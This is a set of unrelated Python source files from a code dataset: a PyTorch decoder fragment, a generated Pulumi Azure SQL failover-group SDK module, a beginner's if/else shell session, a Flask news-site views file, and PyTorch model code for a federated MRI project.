block_mask[:, lib.Constants.BOS] = 0.0 block_mask[:, lib.Constants.EOS] = 0.0 else: pred = logit.max(1)[1].view(-1).data preds.append(pred) num_eos |= (pred == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(pred)) emb = self.decoder.word_lut(pred) preds = torch.stack(preds) return preds def sample(self, inputs, max_length): targets, init_states = self.initialize(inputs, eval=False) emb, output, hidden, context = init_states outputs = [] samples = [] batch_size = targets.size(1) num_eos = targets[0].data.byte().new(batch_size).zero_() for i in range(max_length): output, hidden = self.decoder.step(emb, output, hidden, context) outputs.append(output) logit = self.generator(output) dist = F.softmax(logit, dim=-1) sample = dist.multinomial(1, replacement=False).view(-1).data samples.append(sample) # Stop if all sentences reach EOS. num_eos |= (sample == lib.Constants.EOS) if num_eos.sum() == batch_size: break # emb = self.decoder.word_lut(Variable(sample)) emb = self.decoder.word_lut(sample) # emb = self.decoder.embedding(sample.unsqueeze(1).cpu().numpy()).squeeze(1) outputs = torch.stack(outputs) samples = torch.stack(samples) return samples, outputs

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Python

sdk/python/pulumi_azure/sql/failover_group.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

109

2018-06-18T00:19:44.000Z

2022-02-20T05:32:57.000Z

sdk/python/pulumi_azure/sql/failover_group.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

663

2018-06-18T21:08:46.000Z

2022-03-31T20:10:11.000Z

sdk/python/pulumi_azure/sql/failover_group.py

henriktao/pulumi-azure

f1cbcf100b42b916da36d8fe28be3a159abaf022

[ "ECL-2.0", "Apache-2.0" ]

41

2018-07-19T22:37:38.000Z

2022-03-14T10:56:26.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['FailoverGroupArgs', 'FailoverGroup'] @pulumi.input_type class FailoverGroupArgs: def __init__(__self__, *, partner_servers: pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]], read_write_endpoint_failover_policy: pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs'], resource_group_name: pulumi.Input[str], server_name: pulumi.Input[str], databases: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, name: Optional[pulumi.Input[str]] = None, readonly_endpoint_failover_policy: Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ The set of arguments for constructing a FailoverGroup resource. :param pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]] partner_servers: A list of secondary servers as documented below :param pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs'] read_write_endpoint_failover_policy: A read/write policy as documented below :param pulumi.Input[str] resource_group_name: The name of the resource group containing the SQL server :param pulumi.Input[str] server_name: The name of the primary SQL server. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[str]]] databases: A list of database ids to add to the failover group :param pulumi.Input[str] name: The name of the failover group. Changing this forces a new resource to be created. :param pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs'] readonly_endpoint_failover_policy: a read-only policy as documented below :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource. """ pulumi.set(__self__, "partner_servers", partner_servers) pulumi.set(__self__, "read_write_endpoint_failover_policy", read_write_endpoint_failover_policy) pulumi.set(__self__, "resource_group_name", resource_group_name) pulumi.set(__self__, "server_name", server_name) if databases is not None: pulumi.set(__self__, "databases", databases) if name is not None: pulumi.set(__self__, "name", name) if readonly_endpoint_failover_policy is not None: pulumi.set(__self__, "readonly_endpoint_failover_policy", readonly_endpoint_failover_policy) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter(name="partnerServers") def partner_servers(self) -> pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]]: """ A list of secondary servers as documented below """ return pulumi.get(self, "partner_servers") @partner_servers.setter def partner_servers(self, value: pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]]): pulumi.set(self, "partner_servers", value) @property @pulumi.getter(name="readWriteEndpointFailoverPolicy") def read_write_endpoint_failover_policy(self) -> pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs']: """ A read/write policy as documented below """ return pulumi.get(self, "read_write_endpoint_failover_policy") @read_write_endpoint_failover_policy.setter def read_write_endpoint_failover_policy(self, value: pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs']): pulumi.set(self, "read_write_endpoint_failover_policy", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Input[str]: """ The name of the resource group containing the SQL server """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: pulumi.Input[str]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter(name="serverName") def server_name(self) -> pulumi.Input[str]: """ The name of the primary SQL server. Changing this forces a new resource to be created. """ return pulumi.get(self, "server_name") @server_name.setter def server_name(self, value: pulumi.Input[str]): pulumi.set(self, "server_name", value) @property @pulumi.getter def databases(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of database ids to add to the failover group """ return pulumi.get(self, "databases") @databases.setter def databases(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "databases", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the failover group. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="readonlyEndpointFailoverPolicy") def readonly_endpoint_failover_policy(self) -> Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]: """ a read-only policy as documented below """ return pulumi.get(self, "readonly_endpoint_failover_policy") @readonly_endpoint_failover_policy.setter def readonly_endpoint_failover_policy(self, value: Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]): pulumi.set(self, "readonly_endpoint_failover_policy", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A mapping of tags to assign to the resource. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) @pulumi.input_type class _FailoverGroupState: def __init__(__self__, *, databases: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, partner_servers: Optional[pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]]] = None, read_write_endpoint_failover_policy: Optional[pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs']] = None, readonly_endpoint_failover_policy: Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']] = None, resource_group_name: Optional[pulumi.Input[str]] = None, role: Optional[pulumi.Input[str]] = None, server_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None): """ Input properties used for looking up and filtering FailoverGroup resources. :param pulumi.Input[Sequence[pulumi.Input[str]]] databases: A list of database ids to add to the failover group :param pulumi.Input[str] location: the location of the failover group. :param pulumi.Input[str] name: The name of the failover group. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]] partner_servers: A list of secondary servers as documented below :param pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs'] read_write_endpoint_failover_policy: A read/write policy as documented below :param pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs'] readonly_endpoint_failover_policy: a read-only policy as documented below :param pulumi.Input[str] resource_group_name: The name of the resource group containing the SQL server :param pulumi.Input[str] role: local replication role of the failover group instance. :param pulumi.Input[str] server_name: The name of the primary SQL server. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource. """ if databases is not None: pulumi.set(__self__, "databases", databases) if location is not None: pulumi.set(__self__, "location", location) if name is not None: pulumi.set(__self__, "name", name) if partner_servers is not None: pulumi.set(__self__, "partner_servers", partner_servers) if read_write_endpoint_failover_policy is not None: pulumi.set(__self__, "read_write_endpoint_failover_policy", read_write_endpoint_failover_policy) if readonly_endpoint_failover_policy is not None: pulumi.set(__self__, "readonly_endpoint_failover_policy", readonly_endpoint_failover_policy) if resource_group_name is not None: pulumi.set(__self__, "resource_group_name", resource_group_name) if role is not None: pulumi.set(__self__, "role", role) if server_name is not None: pulumi.set(__self__, "server_name", server_name) if tags is not None: pulumi.set(__self__, "tags", tags) @property @pulumi.getter def databases(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ A list of database ids to add to the failover group """ return pulumi.get(self, "databases") @databases.setter def databases(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "databases", value) @property @pulumi.getter def location(self) -> Optional[pulumi.Input[str]]: """ the location of the failover group. """ return pulumi.get(self, "location") @location.setter def location(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "location", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the failover group. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="partnerServers") def partner_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]]]: """ A list of secondary servers as documented below """ return pulumi.get(self, "partner_servers") @partner_servers.setter def partner_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['FailoverGroupPartnerServerArgs']]]]): pulumi.set(self, "partner_servers", value) @property @pulumi.getter(name="readWriteEndpointFailoverPolicy") def read_write_endpoint_failover_policy(self) -> Optional[pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs']]: """ A read/write policy as documented below """ return pulumi.get(self, "read_write_endpoint_failover_policy") @read_write_endpoint_failover_policy.setter def read_write_endpoint_failover_policy(self, value: Optional[pulumi.Input['FailoverGroupReadWriteEndpointFailoverPolicyArgs']]): pulumi.set(self, "read_write_endpoint_failover_policy", value) @property @pulumi.getter(name="readonlyEndpointFailoverPolicy") def readonly_endpoint_failover_policy(self) -> Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]: """ a read-only policy as documented below """ return pulumi.get(self, "readonly_endpoint_failover_policy") @readonly_endpoint_failover_policy.setter def readonly_endpoint_failover_policy(self, value: Optional[pulumi.Input['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]): pulumi.set(self, "readonly_endpoint_failover_policy", value) @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> Optional[pulumi.Input[str]]: """ The name of the resource group containing the SQL server """ return pulumi.get(self, "resource_group_name") @resource_group_name.setter def resource_group_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "resource_group_name", value) @property @pulumi.getter def role(self) -> Optional[pulumi.Input[str]]: """ local replication role of the failover group instance. """ return pulumi.get(self, "role") @role.setter def role(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "role", value) @property @pulumi.getter(name="serverName") def server_name(self) -> Optional[pulumi.Input[str]]: """ The name of the primary SQL server. Changing this forces a new resource to be created. """ return pulumi.get(self, "server_name") @server_name.setter def server_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server_name", value) @property @pulumi.getter def tags(self) -> Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]: """ A mapping of tags to assign to the resource. """ return pulumi.get(self, "tags") @tags.setter def tags(self, value: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]]): pulumi.set(self, "tags", value) class FailoverGroup(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, databases: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, name: Optional[pulumi.Input[str]] = None, partner_servers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['FailoverGroupPartnerServerArgs']]]]] = None, read_write_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadWriteEndpointFailoverPolicyArgs']]] = None, readonly_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): """ Create a failover group of databases on a collection of Azure SQL servers. ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") primary = azure.sql.SqlServer("primary", resource_group_name=example_resource_group.name, location=example_resource_group.location, version="12.0", administrator_login="sqladmin", administrator_login_password="pa$$w0rd") secondary = azure.sql.SqlServer("secondary", resource_group_name=example_resource_group.name, location="northeurope", version="12.0", administrator_login="sqladmin", administrator_login_password="pa$$w0rd") db1 = azure.sql.Database("db1", resource_group_name=primary.resource_group_name, location=primary.location, server_name=primary.name) example_failover_group = azure.sql.FailoverGroup("exampleFailoverGroup", resource_group_name=primary.resource_group_name, server_name=primary.name, databases=[db1.id], partner_servers=[azure.sql.FailoverGroupPartnerServerArgs( id=secondary.id, )], read_write_endpoint_failover_policy=azure.sql.FailoverGroupReadWriteEndpointFailoverPolicyArgs( mode="Automatic", grace_minutes=60, )) ``` ## Import SQL Failover Groups can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:sql/failoverGroup:FailoverGroup example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/myresourcegroup/providers/Microsoft.Sql/servers/myserver/failovergroups/group1 ``` :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] databases: A list of database ids to add to the failover group :param pulumi.Input[str] name: The name of the failover group. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['FailoverGroupPartnerServerArgs']]]] partner_servers: A list of secondary servers as documented below :param pulumi.Input[pulumi.InputType['FailoverGroupReadWriteEndpointFailoverPolicyArgs']] read_write_endpoint_failover_policy: A read/write policy as documented below :param pulumi.Input[pulumi.InputType['FailoverGroupReadonlyEndpointFailoverPolicyArgs']] readonly_endpoint_failover_policy: a read-only policy as documented below :param pulumi.Input[str] resource_group_name: The name of the resource group containing the SQL server :param pulumi.Input[str] server_name: The name of the primary SQL server. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource. """ ... @overload def __init__(__self__, resource_name: str, args: FailoverGroupArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Create a failover group of databases on a collection of Azure SQL servers. ## Example Usage ```python import pulumi import pulumi_azure as azure example_resource_group = azure.core.ResourceGroup("exampleResourceGroup", location="West Europe") primary = azure.sql.SqlServer("primary", resource_group_name=example_resource_group.name, location=example_resource_group.location, version="12.0", administrator_login="sqladmin", administrator_login_password="pa$$w0rd") secondary = azure.sql.SqlServer("secondary", resource_group_name=example_resource_group.name, location="northeurope", version="12.0", administrator_login="sqladmin", administrator_login_password="pa$$w0rd") db1 = azure.sql.Database("db1", resource_group_name=primary.resource_group_name, location=primary.location, server_name=primary.name) example_failover_group = azure.sql.FailoverGroup("exampleFailoverGroup", resource_group_name=primary.resource_group_name, server_name=primary.name, databases=[db1.id], partner_servers=[azure.sql.FailoverGroupPartnerServerArgs( id=secondary.id, )], read_write_endpoint_failover_policy=azure.sql.FailoverGroupReadWriteEndpointFailoverPolicyArgs( mode="Automatic", grace_minutes=60, )) ``` ## Import SQL Failover Groups can be imported using the `resource id`, e.g. ```sh $ pulumi import azure:sql/failoverGroup:FailoverGroup example /subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/myresourcegroup/providers/Microsoft.Sql/servers/myserver/failovergroups/group1 ``` :param str resource_name: The name of the resource. :param FailoverGroupArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(FailoverGroupArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, databases: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, name: Optional[pulumi.Input[str]] = None, partner_servers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['FailoverGroupPartnerServerArgs']]]]] = None, read_write_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadWriteEndpointFailoverPolicyArgs']]] = None, readonly_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, server_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = FailoverGroupArgs.__new__(FailoverGroupArgs) __props__.__dict__["databases"] = databases __props__.__dict__["name"] = name if partner_servers is None and not opts.urn: raise TypeError("Missing required property 'partner_servers'") __props__.__dict__["partner_servers"] = partner_servers if read_write_endpoint_failover_policy is None and not opts.urn: raise TypeError("Missing required property 'read_write_endpoint_failover_policy'") __props__.__dict__["read_write_endpoint_failover_policy"] = read_write_endpoint_failover_policy __props__.__dict__["readonly_endpoint_failover_policy"] = readonly_endpoint_failover_policy if resource_group_name is None and not opts.urn: raise TypeError("Missing required property 'resource_group_name'") __props__.__dict__["resource_group_name"] = resource_group_name if server_name is None and not opts.urn: raise TypeError("Missing required property 'server_name'") __props__.__dict__["server_name"] = server_name __props__.__dict__["tags"] = tags __props__.__dict__["location"] = None __props__.__dict__["role"] = None super(FailoverGroup, __self__).__init__( 'azure:sql/failoverGroup:FailoverGroup', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None, databases: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, location: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, partner_servers: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['FailoverGroupPartnerServerArgs']]]]] = None, read_write_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadWriteEndpointFailoverPolicyArgs']]] = None, readonly_endpoint_failover_policy: Optional[pulumi.Input[pulumi.InputType['FailoverGroupReadonlyEndpointFailoverPolicyArgs']]] = None, resource_group_name: Optional[pulumi.Input[str]] = None, role: Optional[pulumi.Input[str]] = None, server_name: Optional[pulumi.Input[str]] = None, tags: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None) -> 'FailoverGroup': """ Get an existing FailoverGroup resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. :param pulumi.Input[Sequence[pulumi.Input[str]]] databases: A list of database ids to add to the failover group :param pulumi.Input[str] location: the location of the failover group. :param pulumi.Input[str] name: The name of the failover group. Changing this forces a new resource to be created. :param pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['FailoverGroupPartnerServerArgs']]]] partner_servers: A list of secondary servers as documented below :param pulumi.Input[pulumi.InputType['FailoverGroupReadWriteEndpointFailoverPolicyArgs']] read_write_endpoint_failover_policy: A read/write policy as documented below :param pulumi.Input[pulumi.InputType['FailoverGroupReadonlyEndpointFailoverPolicyArgs']] readonly_endpoint_failover_policy: a read-only policy as documented below :param pulumi.Input[str] resource_group_name: The name of the resource group containing the SQL server :param pulumi.Input[str] role: local replication role of the failover group instance. :param pulumi.Input[str] server_name: The name of the primary SQL server. Changing this forces a new resource to be created. :param pulumi.Input[Mapping[str, pulumi.Input[str]]] tags: A mapping of tags to assign to the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = _FailoverGroupState.__new__(_FailoverGroupState) __props__.__dict__["databases"] = databases __props__.__dict__["location"] = location __props__.__dict__["name"] = name __props__.__dict__["partner_servers"] = partner_servers __props__.__dict__["read_write_endpoint_failover_policy"] = read_write_endpoint_failover_policy __props__.__dict__["readonly_endpoint_failover_policy"] = readonly_endpoint_failover_policy __props__.__dict__["resource_group_name"] = resource_group_name __props__.__dict__["role"] = role __props__.__dict__["server_name"] = server_name __props__.__dict__["tags"] = tags return FailoverGroup(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter def databases(self) -> pulumi.Output[Optional[Sequence[str]]]: """ A list of database ids to add to the failover group """ return pulumi.get(self, "databases") @property @pulumi.getter def location(self) -> pulumi.Output[str]: """ the location of the failover group. """ return pulumi.get(self, "location") @property @pulumi.getter def name(self) -> pulumi.Output[str]: """ The name of the failover group. Changing this forces a new resource to be created. """ return pulumi.get(self, "name") @property @pulumi.getter(name="partnerServers") def partner_servers(self) -> pulumi.Output[Sequence['outputs.FailoverGroupPartnerServer']]: """ A list of secondary servers as documented below """ return pulumi.get(self, "partner_servers") @property @pulumi.getter(name="readWriteEndpointFailoverPolicy") def read_write_endpoint_failover_policy(self) -> pulumi.Output['outputs.FailoverGroupReadWriteEndpointFailoverPolicy']: """ A read/write policy as documented below """ return pulumi.get(self, "read_write_endpoint_failover_policy") @property @pulumi.getter(name="readonlyEndpointFailoverPolicy") def readonly_endpoint_failover_policy(self) -> pulumi.Output['outputs.FailoverGroupReadonlyEndpointFailoverPolicy']: """ a read-only policy as documented below """ return pulumi.get(self, "readonly_endpoint_failover_policy") @property @pulumi.getter(name="resourceGroupName") def resource_group_name(self) -> pulumi.Output[str]: """ The name of the resource group containing the SQL server """ return pulumi.get(self, "resource_group_name") @property @pulumi.getter def role(self) -> pulumi.Output[str]: """ local replication role of the failover group instance. """ return pulumi.get(self, "role") @property @pulumi.getter(name="serverName") def server_name(self) -> pulumi.Output[str]: """ The name of the primary SQL server. Changing this forces a new resource to be created. """ return pulumi.get(self, "server_name") @property @pulumi.getter def tags(self) -> pulumi.Output[Optional[Mapping[str, str]]]: """ A mapping of tags to assign to the resource. """ return pulumi.get(self, "tags")

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1

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null

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7

d200ca2e203fa3f3e32cd70794d14a33d7e2d04b

3,710

py

Python

New folder/Assignment4.py

piyushparastiwari/python-project

5dba0ef4e77f1d2528f510327de4224b60b1d4ba

[ "Apache-2.0" ]

null

New folder/Assignment4.py

piyushparastiwari/python-project

5dba0ef4e77f1d2528f510327de4224b60b1d4ba

[ "Apache-2.0" ]

null

New folder/Assignment4.py

piyushparastiwari/python-project

5dba0ef4e77f1d2528f510327de4224b60b1d4ba

[ "Apache-2.0" ]

null

Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 16:07:46) [MSC v.1900 32 bit (Intel)] on win32 Type "copyright", "credits" or "license()" for more information. >>> x=6 >>> if x%2==0: print("Even no.") else: print("Odd no.") Even no. >>> age=30 >>> gender='Male' >>> sal=60000 >>> if age>30: elif gender=='Male': SyntaxError: expected an indented block >>> if age>30: if gender=='Male': if sal>50000: print("Person is eligible for policy") else: print("Not eligible") Not eligible >>> marks=80 >>> if marks>=90: print("A+") elif marks>=80: print("A") elif marks>=70: print("B") elif marks>=60: print("C") elif marks>=50: print("D") elif marks>=40: print("E") else: print("F") A >>> year=2016 >>> if year%4==0: if year%100==0: print("Leap year") else: print("Not leap year") >>> year 2016 >>> if year%4==0: print("Leap year") else: print("Not leap year") Leap year >>> l=10 >>> b=5 >>> if age>25: if gender=='Male': if sal>50000: print("Person is eligible for policy") else: print("Not eligible") Person is eligible for policy >>> l=10 >>> b=5 >>> if l==b SyntaxError: invalid syntax >>> if l==b: print("It is a square") else: print("It is a rectangle") It is a rectangle >>> age1=20 >>> age2=10 >>> age3=30 >>> if age1>age2: if age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1: SyntaxError: invalid syntax >>> if age1>age2: if age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1: if age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1: print("age3 is oldest") else: print("age3 is youngest") age1 is youngest >>> if age1>age2 && age1>age3: SyntaxError: invalid syntax >>> if age1>age2 and age1>age3: print("age1 is oldest") else: SyntaxError: invalid syntax >>> if age1>age2 and age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1 and age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1 and age3>age2 print("age3 is oldest") else: print("age3 is youngest") SyntaxError: unindent does not match any outer indentation level >>> if age1>age2 and age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1 and age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1 and age3>age2 print("age3 is oldest") else: print("age3 is youngest") SyntaxError: unindent does not match any outer indentation level >>> if age1>age2 and age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1 and age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1 and age3>age2: print("age3 is oldest") else: print("age3 is youngest") SyntaxError: unindent does not match any outer indentation level >>> if age1>age2 and age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1 and age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1 and age3>age2: print("age3 is oldest") else: print("age3 is youngest") SyntaxError: unexpected indent >>> if age1>age2 and age1>age3: print("age1 is oldest") else: print("age1 is youngest") if age2>age1 and age2>age3: print("age2 is oldest") else: print("age2 is younger") if age3>age1 and age3>age2: print("age3 is oldest") else: print("age3 is youngest") age1 is youngest age2 is younger age3 is oldest >>>

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3,710

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0

null

0

1

0

7

d26647baab13efb4ccb6a4cc5be8f666b6473a68

1,181

py

Python

app/main/views.py

Nabuuso/News-Catchup

ec30f213ec377130f500a4366b6ca30ae68e658f

[ "MIT" ]

null

app/main/views.py

Nabuuso/News-Catchup

ec30f213ec377130f500a4366b6ca30ae68e658f

[ "MIT" ]

null

app/main/views.py

Nabuuso/News-Catchup

ec30f213ec377130f500a4366b6ca30ae68e658f

[ "MIT" ]

null

from flask import render_template from . import main from ..requests import get_sources # #@main.route('/') # def index1(): # ''' # View root page function that returns the index page and its data # ''' # # Getting popular movie # business_source = get_sources() # # print(business_source) # title = 'Home - Welcome to The best Movie Review Website Online' # return render_template('index.html',business_sources = business_source) # #@main.route('/articles/<int:article_id>') # def articles(article_id): # ''' # View news page function that returns the news details page and its data # ''' # return render_template('articles.html',id = article_id) @main.route('/') def index(): business_source = get_sources() # print(business_source) title = 'Home - Welcome to The best Movie Review Website Online' return render_template('index.html',business_sources = business_source) @main.route('/articles/<int:article_id>') def articles(article_id): ''' View news page function that returns the news details page and its data ''' return render_template('articles.html',id = article_id)

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77

0.679086

150

1,181

5.2

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0.088462

0.805128

0.771795

0

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0.205758

1,181

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1

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false

0

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0

null

0

1

0

null

0

1

0

7

d26c97bf9130a2e759ad269e4407c36c387349b9

9,786

py

Python

Client_4/model_utils.py

karavik18/Federated_Learning_for_Missing_MRI_Sequence

42924f8475f354e6b429d05867f99530aa485b96

[ "Apache-2.0" ]

1

2021-08-25T13:36:26.000Z

Client_4/model_utils.py

karavik18/Federated_Learning_for_Reconstruction_of_Missing_MR_Sequence

42924f8475f354e6b429d05867f99530aa485b96

[ "Apache-2.0" ]

null

Client_4/model_utils.py

karavik18/Federated_Learning_for_Reconstruction_of_Missing_MR_Sequence

42924f8475f354e6b429d05867f99530aa485b96

[ "Apache-2.0" ]

null

import torch import torch.nn as nn import torch.nn.functional as F from torchvision import models class PreNet(nn.Module): def __init__(self): super(PreNet,self).__init__() self.conv1 = nn.Conv2d(4, 8, 3, padding = 1) self.act1 = nn.LeakyReLU(0.2, inplace=False) self.conv2 = nn.Conv2d(8, 16, 3, padding = 1) self.act2 = nn.LeakyReLU(0.2, inplace=False) def forward(self, labels): conv1 = self.act1(self.conv1(labels)) conv2 = self.act2(self.conv2(conv1)) return conv2 class SUMNet_v1(nn.Module): def __init__(self): super(SUMNet, self).__init__() self.conv1 = nn.Conv2d(4, 64, 3, padding=(1,1)) self.bn1 = nn.BatchNorm2d(64) self.pool1 = nn.MaxPool2d(2, 2, return_indices = False) self.conv2 = nn.Conv2d(64, 128, 3, padding=(1,1)) self.bn2 = nn.BatchNorm2d(128) self.pool2 = nn.MaxPool2d(2, 2, return_indices = False) self.conv3a = nn.Conv2d(128, 256, 3, padding=(1,1)) self.bn3 = nn.BatchNorm2d(256) self.conv3b = nn.Conv2d(256, 256, 3, padding=(1,1)) self.bn4 = nn.BatchNorm2d(256) self.pool3 = nn.MaxPool2d(2, 2, return_indices = False) self.conv4a = nn.Conv2d(256, 512, 3, padding=(1,1)) self.bn5 = nn.BatchNorm2d(512) self.conv4b = nn.Conv2d(512, 512, 3, padding=(1,1)) self.bn6 = nn.BatchNorm2d(512) self.pool4 = nn.MaxPool2d(2, 2, return_indices = False) self.conv5a = 